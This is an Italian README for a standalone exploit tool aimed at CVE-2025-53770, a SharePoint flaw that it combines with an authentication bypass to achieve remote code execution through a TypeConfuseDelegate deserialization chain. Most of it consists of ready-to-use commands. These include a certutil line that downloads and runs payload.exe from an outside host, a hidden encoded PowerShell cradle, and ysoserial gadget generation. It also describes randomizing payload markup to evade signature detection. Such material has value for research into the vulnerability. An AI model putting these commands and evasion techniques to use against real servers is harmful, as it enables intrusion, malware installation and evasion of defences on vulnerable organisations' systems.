OurSharePoint — CVE-2025-53770 PoC

Strumento RCE per SharePoint autonomo, unico binario. Genera una catena di gadget TypeConfuseDelegate come byte MS-NRBF grezzi (senza ysoserial.exe), la avvolge in un payload di deserializzazione DataSet e la consegna tramite HTTP utilizzando il bypass di autenticazione — tutto in un colpo solo.

Catena di attacco

L'intero flusso binario (sia il wrapper DataSet esterno che il gadget TypeConfuseDelegate interno) è costruito come record MS-NRBF grezzi — non viene utilizzata la serializzazione runtime .NET. Ciò corrisponde al formato prodotto dal modulo Metasploit byte per byte.

Compilazione

Richiede .NET Framework 4.8 SDK (Visual Studio 2022 o Build Tools standalone):

& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release

Output: OurSharePoint\bin\Release\OurSharePoint.exe (file singolo, nessuna dipendenza)

Utilizzo

One-shot: preparazione ed esecuzione

OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com

Esecuzione semplice di un comando

OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com

Cradle PowerShell

OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com

Solo ricognizione (nessun payload)

OurSharePoint.exe --target=https://sp.corp.com --check

Genera file payload offline

OurSharePoint.exe --cmd="calc.exe" --out=exploit

Con proxy (Burp)

OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080

Legacy: payload esterno ysoserial.exe

ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com

Opzioni

File di output

Quando si usa --out, lo strumento scrive:

Versioni interessate

Note di implementazione

• Nessuna serializzazione runtime — Sia il wrapper DataSet che il gadget TypeConfuseDelegate sono scritti come record binari MS-NRBF grezzi utilizzando BinaryWriter. Ciò evita differenze tra l'output della serializzazione runtime .NET e ciò che il deserializzatore target si aspetta.
• Struttura LosFormatter — Il gadget interno è avvolto con byte di intestazione ObjectStateFormatter (0xFF 0x01 0x32 + lunghezza a 7 bit) invece di usare LosFormatter.Serialize().
• Binario singolo — Nessuno strumento esterno, DLL o script Python richiesti. Il .exe è completamente autonomo.
• Randomizzazione — I prefissi dei tag XML e i nomi degli elementi DataSet sono randomizzati per ogni esecuzione per evitare il rilevamento basato su firme.

Riferimenti

• Eye Security — SharePoint Under Siege
• Metasploit PR #20409 — sharepoint_toolpane_rce
• MS-NRBF Specification
• pwntester/ysoserial.net — TypeConfuseDelegate